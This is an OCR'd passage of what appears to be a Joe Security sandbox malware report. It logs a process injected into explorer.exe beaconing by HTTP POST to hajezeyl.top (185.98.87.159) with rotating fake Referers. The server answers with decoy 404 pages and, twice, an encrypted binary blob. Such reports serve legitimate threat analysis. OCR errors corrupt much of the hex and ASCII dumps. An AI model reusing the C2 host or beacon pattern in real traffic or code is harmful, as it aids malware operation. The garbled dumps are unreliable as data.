2061 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f 64
79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezeyl.top Port 80</address></body></htm|>0

Destination IP Destination Port Process

185.98.87.159 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://axwrxhk.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 177

Host: hajezeyl.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 29 Oct 2021 18:29:51 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 30 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3¢ 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f 64
79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezeyl.top Port 80</address></body></htmI|>0

Destination IP Destination Port Process
185.98.87.159 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://dkannuwrja.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 214

Host: hajezeyl.top
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kBytes
Timestamp transferred

Oct 29, 2021 4208
20:29:51.792746067 CEST

Session ID Source IP
24 192.168.2.7

kBytes
Timestamp transferred
Oct 29, 2021 5518

20:29:54.088094950 CEST

Oct 29, 2021 5519
20:29:54.166321993 CEST

Session ID Source IP

25 192.168.2.7

Copyright Joe Security LLC 2021

Direction

IN

Source Port
49779

Direction
ouT

Source Port

49780

Data

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 29 Oct 2021 18:29:51 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5¢ 2f 8f 69 c1 50 22 ec 26 d8 al e7 26 67 Ob 72 90 86 ec d2 ca
71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9¢ 22 60 1b d6 88 67 al c2
8a 3151 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 3 77 b3 6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88
e05d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 el 94 52 ea 59 9b 93 e2 86 38 {8 f3 a4 7c 7f e2 46 aa 8f 8¢ f5 cf 9b 2b 25 9b f6
ba c9 1b b0 1c 67 74 d2 ff 95 87 cd 2b 80 78 51 al a2 8f 2c df d2 1c e0 32 02 50 08 08 d8 e2 30 a5 59 93 9b b7 4f f3 0 e6
62 79 04 54 ea d6 d7 Oc 3d 61 1f 27 f4 d2 af 34 91 b4 b9 41 8f 20 59 55 11 5¢ 7c 3b 66 ab 49 11 a0 c8 58 4b 67 13 d2 18
5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 bd 28 c6 8a 44 d8 06 Oe 45 c7 1e 7d 6f fb 0
04 89 f9 d4 57 80 90 70 89 ec e4 4a 6b b6 f2 a2 22 48 52 df 49 a1 ff be ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 b3 Ob 5b
4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 Of 1¢ 57 ee 87 7e Oc 35 8a 3d 50 7f dO 56 81 b6 9b 97 96 70 9f 8a 86
e8 47 5a ad b2 cb 99 6¢ 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 23 36 55 96 da 19 d1 3a 2d
b2 4e 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 71 87 4a 04 38 6d 72 14 2¢
d0 e8 bl 14 65 7c 10 22 17 4a 86 47 30 5a 22 a2 3f Ob 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 €9 4d 51 a2 4c 64 cd
25 5¢ 8d b7 bf 2e 0c 26 17 51 d2 eb €9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 d8 62 47 42 c5
dO b8 be 34 56 9b 46 76 99 86 11 00 83 32 42 52 f7 c2 ae 64 0f 95 36 el 48 52 67 25 50 b8 81 6 bc 81 de bb 6e 6a 36 cf
09 27 4e e2 d2 be 95 47 ab 63 10 ec 8 b9 5f 14 2c 2 e6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8 dO bc a6
62 4a 08 5d f6 b3 06 2d 1a c0 5e f3 7c bb a7 fd d4 98 21 17 da 9a 2d 35 23 7d f5 b2 68 60 b8 10 31 fa ed ad 67 el el bd
84 f3 8¢ 40 b6 f0 90 4f al 21 71 ae 61 2e 7a bl 76 af ce c6 83 41 66 30 ae a9 c8 dO 7e 33 3a 64 67 Ob bf 77 6a 66 21 Oe
8a ef 28 1d 41 81 d4 b6 78 8e 18 d3 e4 9e Oc 7b d6 6¢ 02 2f 27 76 d7 9b 4e 20 ba f5 be 08 85 fd 89 aa 41 b7 28 8f f4 d5
06 78 5¢ 9b b8 08 c0 e5 5¢ ¢5 17 00 f3 b8 d0 a3 39 a9 b2 13 20 1d 06 1la 1b el ea fO 6¢ 8d €9 c¢7 d2 83 6f d5 c5 3b ec cf
8b 40 75 02 99 e0 03 f4 ¢3 05 cb 99 d3 23 2a 71 c7 a5 d9 62 77 ca 08 8f bd c8 11 61 al 99 9e 5f e3 Of 4e 8a d0 23 9d 43
8e 7e 14 Oe b9 2c 58 99 f7 6d 08 d8 fd f7 cb ab 42 66 fb 05 6d 77 5e 8e b7 4a 84 99 fb 42 17 7d bd 91 94 13 85 f3 bd b3
3b 1c 67 c7 22 7 19 8e 53 c0 b2 21 ab 63 95 22 89 ac 1f 13 34 5e 12 59 b3 52 34 eb €0 0f 25 b8 a3 c1 1d d7 cb ab 14 62
3 3b 1f 70 da be 91 b3 bf de 2c eb 57 66 80 fe 9d 11 b0 5e fe 14 f9 20 e4 89 93 64 4b 70 94 ea 13 6b e6 €8 80 Ob 3d f2 9d
65 09 de fb 18 e1 98 ea 30 e3 dc dd 6a db 82 96 dd 07 22 b9 ed 8c 54 a5 f1 36 81 ac cc b4 29 c7 79 f5 66 38 18 8 e0 cO
24 b2 f0 9c 24 c8 92 7c f9 d4 8 53 08 86 52 e4 3f a4 53 65 ad 06 70 00 16 b7 36 df 44 f1 22 74 2c e7 36 c5 da ac da 5f 81
50 ec 3e b9 72 39 Oe ac 27 36 82 af 97 28 e0 6 be e6 a7 €2 84 af 3a ce 39 €8 4e 95 91 3a 90 ff 53 64 22 62 a2 26 Oc 11 bi
2a 5c a7 ef c6 a1 00 ae 8b 91 17 5d 35 bd ac c0 59 9d 9b f2 e5 fe de 54 1e 98 92 fb b2 6a 14 9d 84 32 c7 37 6f 03 70 51
8d c8 81 99 8b fa 81 7f 1d bc 6¢ c2 ca a5 a4 d0 9b 38 ea 81 2f 07 5b 6¢ 7e 96 23 97 84 79 ea 9a 4a 1d 68 8¢ 50 16 11 28
a0 81 bc 73 9d 7d bb fa c8 16 31 e5 a8 6f 20 ¢9 09 e4 ce cd 6b 90 46 97 fe da 39 9d f6 c1 6d 06 42 7b fb fa 3 a5 9a 46 e4
Data Ascii: 1{66S(SWViP"&&grq|6?elJ5~/ar" g1Q5ih.Kw:i/+".]pW!IRY8|F+%gt+xQ,2P0YObyT=a'4A YU\|;fIXKg[Ge92)g z6(
DE}oWpJk"HRI?0|6NI[LeU[0z;+W~5=PVpGZIqV@q!Uvy#6U:-N%GKkKm@NQ>[qJ8mr,e|"IJG0Z"?kQTIMQLA%\.&Q#
F<pvA>C/CbGB4VFv2BRA6HRg%Pnj6'NGc_,/DO9W%bJ]-A|!-5#}th*1g@0O!qa.zvAf0~3:dgwijfl (Ax{lI/'VN A(X\\9 lo;@u#*
gbwa_N#C~ XmBfmw/JB};g"S!c"4 Y R4%b;p, Wi dKpk=e0j"T6)yf8$$|SR?Sep6D"t,6_P>r9'6(:9N:Sd"b&*\|5YTj270pQ
18/[I~#yJhP(s}1o KFOmB{F

Destination IP Destination Port Process
185.98.87.159 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://naytoe.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 204

Host: hajezeyl.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 29 Oct 2021 18:29:54 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c¢ 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 6472657373 3e41 7061 6368 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f 64
79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezeyl.top Port 80</address></body></htmI>0

Destination IP Destination Port Process

185.98.87.159 80 C:\Windows\explorer.exe
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kBytes
Timestamp transferred

Oct 29, 2021 5520
20:29:54.255789995 CEST

Oct 29, 2021 55621
20:29:54.335072041 CEST

Session ID Source IP
26 192.168.2.7

kBytes
Timestamp transferred
Oct 29, 2021 5521

20:29:54.428915977 CEST

Oct 29, 2021 5522
20:29:54.509980917 CEST

Session ID Source IP
27 192.168.2.7

kBytes
Timestamp transferred
Oct 29, 2021 5523

20:29:54.601206064 CEST

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49781

Direction

ouT

Source Port
49782

Direction

ouT

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://bggaruug.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 246

Host: hajezeyl.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 29 Oct 2021 18:29:54 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 30 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2C 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f 64
79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></htm|>0

Destination IP Destination Port Process

185.98.87.159 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://bcaielan.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 163

Host: hajezeyl.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 29 Oct 2021 18:29:54 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 30 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3¢ 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 726573 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f 64
79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html|><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezeyl.top Port 80</address></body></htmI>0

Destination IP Destination Port Process
185.98.87.159 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://sangssr.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 260

Host: hajezeyl.top
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kBytes
Timestamp transferred

Oct 29, 2021 5624
20:29:54.682990074 CEST

Session ID Source IP
28 192.168.2.7

kBytes
Timestamp transferred
Oct 29, 2021 5525

20:29:54.777343035 CEST

Oct 29, 2021 5526
20:29:54.858685970 CEST

Session ID Source IP

29 192.168.2.7

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49783

Direction

ouT

Source Port

49786

Data

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 29 Oct 2021 18:29:54 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 30 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 72657373 3e 4170 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f 64
79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezeyl.top Port 80</address></body></htm|>0

Destination IP Destination Port Process

185.98.87.159 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://eyepud.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 154

Host: hajezeyl.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 29 Oct 2021 18:29:54 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 66 36 36 0d Oa 00 00 d2 a7 53 28 ca 53 57 5¢ 2f 8f 69 ¢1 50 22 ec 26 d8 al e7 26 67 Ob 72 90 86 ec d2 ca
71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9¢ 22 60 1b d6 88 67 al c2
8a 3151 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88
€0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 el 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c 1d 16 4d aa 8f 8¢ f5 cf 9b 2b 25 9b
6 ba e9 1a b0 1c 07 74 d2 87 9a 87 cd 2b 80 78 51 al a2 8f 3c 65 dd 1c e0 32 02 50 08 a8 da e2 30 a5 59 93 9b b7 4f {3
e0e6 62 79 04 54 ea d6 d7 Oc 3d 61 1d 27 f4 d2 af 34 91 b4 b9 21 80 20 59 55 11 5c 92 86 64 ab 49 11 80 c8 58 4b 67 13
d2 18 5b 47 86 65 39 15 32 29 ¢5 7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 85 92 c9 8a 5c d8 06 Oe 45 27 11 7d
87 f8 e0 04 89 f9 d4 57 80 90 70 89 ec 9c 48 6b Oe el a2 22 48 f2 d0 49 a1 ff be ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49
b3 0b 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0f 1c 57 ee 87 7e Oc 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70
9f 8a 86 e8 47 5a ad b2 cb 99 6¢ 71 11 87 02 b1 b8 56 b0 40 f6 Oa bf 8b 71 91 ce 21 b5 1e 55 df 76 79 d3 4f 5a 96 da 19
d1 3a 2d ca 41 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 99 84 4a 04 38 8d
7d 14 2c d0 e8 b1 14 1d 73 10 22 17 4a 86 47 30 5a 22 a2 3f Ob 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 e9 4d 51 02
43 64 cd 25 5¢ 8d b7 d7 21 0c 26 17 51 d2 eb €9 23 19 9d 46 3¢ 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e 8 d8 62
47 42 5 6a b7 be 34 56 9b 46 76 99 86 11 00 83 32 42 ea 6f cf ae 04 5d 94 36 el 48 50 67 35 50 b8 81 be f0 80 de 5b 46
6a 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 e6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8
d0 a7 85 62 4a 52 7d 54 7a 08 6¢ 39 c0 5e f3 5¢ 19 6d 63 95 be 07 3d da 9a 3e 05 22 7d e6 b2 68 60 bd 10 31 eb cd fc 25
15 8e b7 82 7f 8e 40 b6 f1 47 4e al 21 84 88 4b 2e 69 81 77 af dd c6 83 41 df 30 ae b8 e8 21 10 a0 57 6e 61 87 bd 77 6a
67 09 Of 8a ef 22 3b 6b 81 c7 86 7a 8e 52 d3 e4 9e 4e 7b d6 7d 00 2c Of 7a d7 9b 48 Ob ad 8b bc 08 85 {7 8f 82 42 b7 28
85 d8 da 14 79 a2 8e b9 08 c0 fe 77 c¢6 1d 2b 15 bf fa a5 €9 a8 b2 13 3b 35 02 1a 1b eb c2 f5 6¢ 8d e3 17 d3 83 6f ce ed 3f
ec cf 81 68 73 02 99 ea a6 f5 c¢3 05 dO b3 d3 23 39 41 c4 a5 c¢8 63 77 ca Ob 8f bd d9 39 6b al 99 98 77 e8 0Of 4e 8c da 06
bd 37 87 8c b4 26 b8 2c 58 b2 77 6¢ 08 d8 f9 d2 eb 48 25 66 34 2d 6f 77 5e a5 37 48 84 99 ff 67 37 f9 ad al 97 3b 86 {3
3d 98 bb 1f 67 c7 26 el 39 c6 86 8e f0 09 af 63 9b 09 09 a8 00 13 30 7b 88 cc c9 el a3 c3 e5 0f 25 93 23 ¢4 a9 d7 cf 8e
3d 39 dc 46 ba 58 dc be b0 98 3f d8 94 eb 53 43 al Oc 97 e4 6e 76 f9 14 34 Ob 64 82 b2 64 4f 55 e0 ca 5e c3 bd c0 88 Ob
54 d9 1d 69 7a de ff 3d el 03 70 2e 1f f4 d4 6a a9 a9 16 da 68 22 bd c8 cb cf 3f ef c8 a9 a6 cc d5 02 47 71 98 66 3c 3d f8
bf cb 67 3f d8 97 24 a9 b9 fc fO ba e8 57 2d c8 al 11 19 af 7b 69 ad 72 5b 80 1c 97 36 db 64 11 82 f5 51 aa 3b c5 da a7 f1
7d 87 02 f335 43 25 11 00 ac 49 1d 02 al b7 28 e4 fO 7 11 41 a6 a4 87 35 ce 19 c3 ce 85 d5 3a 94 d4 1b e4 2f 62 f1 22
27 ¢6 99 0a d7 d9 76 c5 89 10 c1 8b ba 97 28 35 bd a8 8f 59 9d 9b cf d5 f5 de 35 1f 98 92 f2 b2 6a 05 85 85 Oa 9f 12 6f 03
62 53 b5 8 80 99 8b 84 80 7f 1d b8 78 c0O b4 a7 a4 d0 91 46 e8 81 2f 0d 4d 76 00 94 23 c7 8e 07 e8 df 4a 17 7a 8d 42 14
